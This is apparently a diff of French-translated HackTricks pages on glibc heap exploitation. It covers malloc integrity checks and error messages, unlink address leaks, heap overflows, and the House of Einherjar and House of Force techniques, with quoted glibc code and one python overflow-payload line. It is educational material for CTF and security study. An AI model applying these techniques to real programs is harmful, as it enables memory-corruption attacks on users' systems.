* Si le chunk n'est pas marqué comme utilisé (dans le `prev_inuse` du chunk suivant) : `double free or corruption (!prev)`
* Si le chunk suivant a une taille trop petite ou trop grande : `free(): invalid next size (normal)`
* si le chunk précédent n'est pas utilisé, il essaiera de consolider. Mais, si la prev\_size diffère de la taille indiquée dans le chunk précédent : `corrupted size vs. prev_size while consolidating`
<details>
<summary>Code de _int_free_merge_chunk</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -0,0 +1,186 @@
# Contrôles de sécurité des fonctions de tas
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## unlink
Pour plus d'informations, consultez :
{% content-ref url="unlink.md" %}
[unlink.md](unlink.md)
{% endcontent-ref %}
Il s'agit d'un résumé des contrôles effectués :
* Vérifier si la taille indiquée du fragment est la même que `prev_size` indiqué dans le fragment suivant
* Message d'erreur : `taille corrompue par rapport à prev_size`
* Vérifiez également que `P->fd->bk == P` et `P->bk->fw == P`
* Message d'erreur : `liste doublement chaînée corrompue`
* Si le fragment n'est pas petit, vérifiez que `P->fd_nextsize->bk_nextsize == P` et `P->bk_nextsize->fd_nextsize == P`
* Message d'erreur : `liste doublement chaînée corrompue (non petite)`
## \_int\_malloc
Pour plus d'informations, consultez :
{% content-ref url="malloc-and-sysmalloc.md" %}
[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md)
{% endcontent-ref %}
* **Contrôles pendant la recherche de fastbin :**
* Si le fragment est mal aligné :
* Message d'erreur : `malloc() : fragment fastbin non aligné détecté 2`
* Si le fragment suivant est mal aligné :
* Message d'erreur : `malloc() : fragment fastbin non aligné détecté`
* Si le fragment retourné a une taille incorrecte en raison de son index dans le fastbin :
* Message d'erreur : `malloc() : corruption de mémoire (rapide)`
* Si un fragment utilisé pour remplir le tcache est mal aligné :
* Message d'erreur : `malloc() : fragment fastbin non aligné détecté 3`
* **Contrôles pendant la recherche de small bin :**
* Si `victim->bk->fd != victim` :
* Message d'erreur : `malloc() : liste doublement chaînée smallbin corrompue`
* **Contrôles pendant la consolidation** effectués pour chaque fragment fastbin :&#x20;
* Si le fragment est mal aligné, déclencher :
* Message d'erreur : `malloc_consolidate() : fragment fastbin non aligné détecté`
* Si le fragment a une taille différente de celle qu'il devrait en raison de l'index dans lequel il se trouve :
* Message d'erreur : `malloc_consolidate() : taille de fragment non valide`
* Si le fragment précédent n'est pas utilisé et que le fragment précédent a une taille différente de celle indiquée par prev_chunk :
* Message d'erreur : `taille corrompue par rapport à prev_size dans fastbins`
* **Contrôles pendant la recherche de la liste non triée** :
* Si la taille du fragment est étrange (trop petite ou trop grande) :&#x20;
* Message d'erreur : `malloc() : taille non valide (non triée)`
* Si la taille du fragment suivant est étrange (trop petite ou trop grande) :
* Message d'erreur : `malloc() : taille suivante non valide (non triée)`
* Si la taille précédente indiquée par le fragment suivant diffère de la taille du fragment :
* Message d'erreur : `malloc() : taille next->prev_size non concordante (non triée)`
* Si non `victim->bck->fd == victim` ou non `victim->fd == av (arène)` :
* Message d'erreur : `malloc() : liste doublement chaînée non triée corrompue`
* Comme nous vérifions toujours le dernier, son fd devrait toujours pointer vers la structure de l'arène.
* Si le fragment suivant n'indique pas que le précédent est utilisé :
* Message d'erreur : `malloc() : next->prev_inuse non valide (non triée)`
* Si `fwd->bk_nextsize->fd_nextsize != fwd` :
* Message d'erreur : `malloc() : liste doublement chaînée largebin corrompue (nextsize)`
* Si `fwd->bk->fd != fwd` :
* Message d'erreur : `malloc() : liste doublement chaînée largebin corrompue (bk)`
* **Contrôles pendant la recherche de large bin (par index)** :
* `bck->fd-> bk != bck` :
* Message d'erreur : `malloc() : fragments non triés corrompus`
* **Contrôles pendant la recherche de large bin (suivant plus grand)** :
* `bck->fd-> bk != bck` :
* Message d'erreur : `malloc() : fragments non triés corrompus2`
* **Contrôles pendant l'utilisation du fragment Top** :
* `chunksize(av->top) > av->system_mem` :
* Message d'erreur : `malloc() : taille top corrompue`
## `tcache_get_n`
* **Contrôles dans `tcache_get_n` :**
* Si le fragment est mal aligné :
* Message d'erreur : `malloc() : fragment tcache non aligné détecté`
## `tcache_thread_shutdown`
* **Contrôles dans `tcache_thread_shutdown` :**
* Si le fragment est mal aligné :
* Message d'erreur : `tcache_thread_shutdown() : fragment tcache non aligné détecté`
## `__libc_realloc`
* **Contrôles dans `__libc_realloc` :**
* Si l'ancien pointeur est mal aligné ou si la taille était incorrecte :
* Message d'erreur : `realloc() : pointeur non valide`
## `_int_free`
Pour plus d'informations, consultez :
{% content-ref url="free.md" %}
[free.md](free.md)
{% endcontent-ref %}
* **Contrôles au début de `_int_free` :**
* Le pointeur est aligné :
* Message d'erreur : `free() : pointeur non valide`
* Taille supérieure à `MINSIZE` et taille également alignée :
* Message d'erreur : `free() : taille non valide`
* **Contrôles dans `_int_free` tcache :**
* S'il y a plus d'entrées que `mp_.tcache_count` :
* Message d'erreur : `free() : trop de fragments détectés dans le tcache`
* Si l'entrée n'est pas alignée :
* Message d'erreur : `free() : fragment non aligné détecté dans le tcache 2`
* Si le fragment libéré a déjà été libéré et est présent comme fragment dans le tcache :
* Message d'erreur : `free() : double libération détectée dans le tcache 2`
* **Contrôles dans `_int_free` fast bin :**
* Si la taille du fragment est invalide (trop grande ou trop petite) déclencher :
* Message d'erreur : `free() : taille suivante non valide (rapide)`
* Si le fragment ajouté était déjà en haut du fast bin :
* Message d'erreur : `double libération ou corruption (fasttop)`
* Si la taille du fragment en haut a une taille différente du fragment que nous ajoutons :
* Message d'erreur : `entrée fastbin non valide (libre)`
## **`_int_free_merge_chunk`**
* **Vérifications dans `_int_free_merge_chunk`:**
* Si le chunk est le chunk supérieur:
* Message d'erreur: `double free or corruption (top)`
* Si le chunk suivant est en dehors des limites de l'arène:
* Message d'erreur: `double free or corruption (out)`
* Si le chunk n'est pas marqué comme utilisé (dans le prev\_inuse du chunk suivant):
* Message d'erreur: `double free or corruption (!prev)`
* Si le chunk suivant a une taille trop petite ou trop grande:
* Message d'erreur: `free(): invalid next size (normal)`
* Si le chunk précédent n'est pas utilisé, il tentera de consolider. Mais, si `prev_size` diffère de la taille indiquée dans le chunk précédent:
* Message d'erreur: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
* **Vérifications dans `_int_free_create_chunk`:**
* En ajoutant un chunk dans le bac non trié, vérifiez si `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
* Message d'erreur: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
* **Vérifications dans `do_check_malloc_state`:**
* Si le chunk fast bin est mal aligné:
* Message d'erreur: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
* **Vérifications dans `malloc_consolidate`:**
* Si le chunk fast bin est mal aligné:
* Message d'erreur: `malloc_consolidate(): unaligned fastbin chunk detected`
* Si la taille du chunk fast bin est incorrecte:
* Message d'erreur: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
* **Vérifications dans `_int_realloc`:**
* La taille est trop grande ou trop petite:
* Message d'erreur: `realloc(): invalid old size`
* La taille du chunk suivant est trop grande ou trop petite:
* Message d'erreur: `realloc(): invalid next size`
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,91 @@
# unlink
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
### Code
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### Explication Graphique
Consultez cette excellente explication graphique du processus de unlink :
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Contrôles de Sécurité
* Vérifiez si la taille indiquée du chunk est la même que prev\_size indiqué dans le chunk suivant
* Vérifiez également que `P->fd->bk == P` et `P->bk->fw == P`
* Si le chunk n'est pas petit, vérifiez que `P->fd_nextsize->bk_nextsize == P` et `P->bk_nextsize->fd_nextsize == P`
### Fuites
Un chunk unlinké ne nettoie pas les adresses allouées, donc en y ayant accès, il est possible de fuiter certaines adresses intéressantes :
Fuites de Libc :
* Si P est situé à la tête de la liste doublement chaînée, `bk` pointera vers `malloc_state` dans libc
* Si P est situé à la fin de la liste doublement chaînée, `fd` pointera vers `malloc_state` dans libc
* Lorsque la liste doublement chaînée contient uniquement un chunk libre, P est dans la liste doublement chaînée, et à la fois `fd` et `bk` peuvent fuiter l'adresse à l'intérieur de `malloc_state`.
Fuites de Heap :
* Si P est situé à la tête de la liste doublement chaînée, `fd` pointera vers un chunk disponible dans le heap
* Si P est situé à la fin de la liste doublement chaînée, `bk` pointera vers un chunk disponible dans le heap
* Si P est dans la liste doublement chaînée, à la fois `fd` et `bk` pointeront vers un chunk disponible dans le heap

View file

@ -0,0 +1,67 @@
# Débordement de tas
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Un débordement de tas est comme un [**débordement de pile**](../stack-overflow/) mais dans le tas. Fondamentalement, cela signifie qu'un espace a été réservé dans le tas pour stocker des données et que **les données stockées étaient plus grandes que l'espace réservé**.
Dans les débordements de pile, nous savons que certains registres comme le pointeur d'instruction ou le cadre de pile vont être restaurés à partir de la pile et il pourrait être possible d'en abuser. En cas de débordement de tas, il **n'y a aucune information sensible stockée par défaut** dans le fragment de tas qui peut être débordé. Cependant, il pourrait s'agir d'informations sensibles ou de pointeurs, donc la **criticité** de cette vulnérabilité **dépend** de **quelles données pourraient être écrasées** et comment un attaquant pourrait en abuser.
{% hint style="success" %}
Pour trouver les décalages de débordement, vous pouvez utiliser les mêmes modèles que pour les [**débordements de pile**](../stack-overflow/#finding-stack-overflows-offsets).
{% endhint %}
### Débordements de pile vs Débordements de tas
Dans les débordements de pile, l'agencement et les données qui vont être présentes dans la pile au moment où la vulnérabilité peut être déclenchée sont assez fiables. Cela est dû au fait que la pile est linéaire, augmentant toujours dans la mémoire en collision, dans **des endroits spécifiques de l'exécution du programme, la mémoire de pile stocke généralement un type de données similaire** et elle a une structure spécifique avec des pointeurs à la fin de la partie de pile utilisée par chaque fonction.
Cependant, dans le cas d'un débordement de tas, parce que la mémoire utilisée n'est pas linéaire mais **les fragments alloués sont généralement à des positions séparées de la mémoire** (pas les uns à côté des autres) en raison des **bacs et des zones** séparant les allocations par taille et parce que **la mémoire précédemment libérée est utilisée** avant d'allouer de nouveaux fragments. Il est **compliqué de savoir quel objet va entrer en collision avec celui vulnérable** à un débordement de tas. Ainsi, lorsqu'un débordement de tas est trouvé, il est nécessaire de trouver un **moyen fiable de faire en sorte que l'objet désiré soit le suivant en mémoire** à partir de celui qui peut être débordé.
Une des techniques utilisées pour cela est le **démêlage de tas** qui est utilisé par exemple [**dans ce post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Dans le post, il est expliqué comment dans le noyau iOS, lorsqu'une zone manque de mémoire pour stocker des fragments de mémoire, elle l'agrandit d'une page de noyau, et cette page est divisée en fragments des tailles attendues qui seraient utilisées dans l'ordre (jusqu'à la version iOS 9.2, puis ces fragments sont utilisés de manière aléatoire pour compliquer l'exploitation de ces attaques).
Par conséquent, dans le post précédent où un débordement de tas se produit, afin de forcer l'objet débordé à entrer en collision avec un ordre victime, plusieurs **`kallocs` sont forcés par plusieurs threads pour essayer de s'assurer que tous les fragments libres sont remplis et qu'une nouvelle page est créée**.
Pour forcer ce remplissage avec des objets d'une taille spécifique, l'**allocation hors ligne associée à un port mach iOS** est un candidat idéal. En ajustant la taille du message, il est possible de spécifier exactement la taille de l'allocation `kalloc` et lorsque le port mach correspondant est détruit, l'allocation correspondante sera immédiatement libérée à `kfree`.
Ensuite, certains de ces espaces réservés peuvent être **libérés**. La liste de libération **`kalloc.4096` libère les éléments dans un ordre dernier entré, premier sorti**, ce qui signifie essentiellement que si certains espaces réservés sont libérés et que l'exploit essaie d'allouer plusieurs objets victimes tout en essayant d'allouer l'objet vulnérable au débordement, il est probable que cet objet sera suivi par un objet victime.
### Exemple libc
[**Sur cette page**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html), il est possible de trouver une émulation de débordement de tas de base qui montre comment en écrasant le bit prev in use du fragment suivant et la position de la taille prev, il est possible de **consolider un fragment utilisé** (en le faisant croire qu'il est inutilisé) et **ensuite le réallouer** en pouvant écraser des données qui sont utilisées dans un autre pointeur également.
Un autre exemple de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) montre un exemple très basique d'un CTF où un **débordement de tas** peut être exploité pour appeler la fonction gagnante et **obtenir le drapeau**.
Dans l'exemple [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html), il est possible de voir comment en abusant d'un dépassement de tampon, il est possible de **écraser dans un fragment proche une adresse****des données arbitraires de l'utilisateur** vont être écrites.
### Exemple ARM64
Sur la page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/), vous pouvez trouver un exemple de débordement de tas où une commande qui va être exécutée est stockée dans le fragment suivant à partir du fragment débordé. Ainsi, il est possible de modifier la commande exécutée en l'écrasant avec une exploitation facile telle que :
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -0,0 +1,56 @@
# Maison d'Einherjar
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
### Code
* Consultez l'exemple sur [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* Ou celui sur [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (vous devrez peut-être remplir le tcache)
### Objectif
* L'objectif est d'allouer de la mémoire à presque n'importe quelle adresse spécifique.
### Exigences
* Créer un faux chunk lorsque nous voulons allouer un chunk :
* Définir des pointeurs pour pointer vers lui-même pour contourner les vérifications de cohérence
* Décalage d'un sur un d'un chunk à un autre pour modifier le `prev in use`
* Indiquer dans le `prev_size` du chunk abusé par décalage d'un la différence entre lui-même et le faux chunk
* La taille du faux chunk doit également avoir été définie de la même taille pour contourner les vérifications de cohérence
* Pour construire ces chunks, vous aurez besoin d'une fuite de tas.
### Attaque
* Un faux chunk est créé à l'intérieur d'un chunk contrôlé par l'attaquant pointant avec `fd` et `bk` vers le chunk d'origine pour contourner les protections
* 2 autres chunks (`B` et `C`) sont alloués
* En abusant du décalage d'un dans le `B`, le bit `prev in use` est nettoyé et les données `prev_size` sont écrasées avec la différence entre l'endroit où le chunk `C` est alloué et le faux chunk `A` généré précédemment
* Ce `prev_size` et la taille dans le faux chunk `A` doivent être les mêmes pour contourner les vérifications.
* Ensuite, le tcache est rempli
* Ensuite, `C` est libéré pour se consolider avec le faux chunk `A`
* Ensuite, un nouveau chunk `D` est créé qui commencera dans le faux chunk `A` et couvrira le chunk `B`
* La maison d'Einherjar se termine ici
* Cela peut être poursuivi avec une attaque de fast bin :
* Libérer `B` pour l'ajouter au fast bin
* Le `fd` de `B` est écrasé pour le faire pointer vers l'adresse cible en abusant du chunk `D` (car il contient `B` à l'intérieur)&#x20;
* Ensuite, 2 mallocs sont effectués et le deuxième va **allouer l'adresse cible**
## Références et autres exemples
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
* Après la libération des pointeurs, ils ne sont pas annulés, il est donc toujours possible d'accéder à leurs données. Par conséquent, un chunk est placé dans le unsorted bin et les pointeurs qu'il contient sont divulgués (fuite de libc) puis un nouveau tas est placé sur le unsorted bin et une adresse de tas est divulguée à partir du pointeur qu'il reçoit.

View file

@ -0,0 +1,73 @@
# Maison de la Force
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
### Code
* Cette technique a été corrigée ([**ici**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) et produit cette erreur : `malloc(): corrupted top size`
* Vous pouvez essayer le [**code d'ici**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) pour le tester si vous le souhaitez.
### Objectif
* L'objectif de cette attaque est de pouvoir allouer un morceau dans une adresse spécifique.
### Exigences
* Un débordement qui permet de remplacer la taille de l'en-tête du chunk supérieur (par exemple, -1).
* Pouvoir contrôler la taille de l'allocation du tas
### Attaque
Si un attaquant souhaite allouer un morceau à l'adresse P pour remplacer une valeur ici. Il commence par remplacer la taille du chunk supérieur par `-1` (peut-être avec un débordement). Cela garantit que malloc n'utilisera pas mmap pour toute allocation car le chunk supérieur aura toujours suffisamment d'espace.
Ensuite, calculez la distance entre l'adresse du chunk supérieur et l'espace cible à allouer. Cela est nécessaire car un malloc de cette taille sera effectué pour déplacer le chunk supérieur à cette position. Voici comment la différence/taille peut être facilement calculée:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Par conséquent, allouer une taille de `cible - old_top - 4*sizeof(long)` (les 4 longs sont dus aux métadonnées du chunk supérieur et du nouveau chunk lors de l'allocation) déplacera le chunk supérieur à l'adresse que nous voulons écraser. Ensuite, effectuez un autre malloc pour obtenir un chunk contenant le début des données à écrire à l'adresse cible.
### Références et Autres Exemples
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
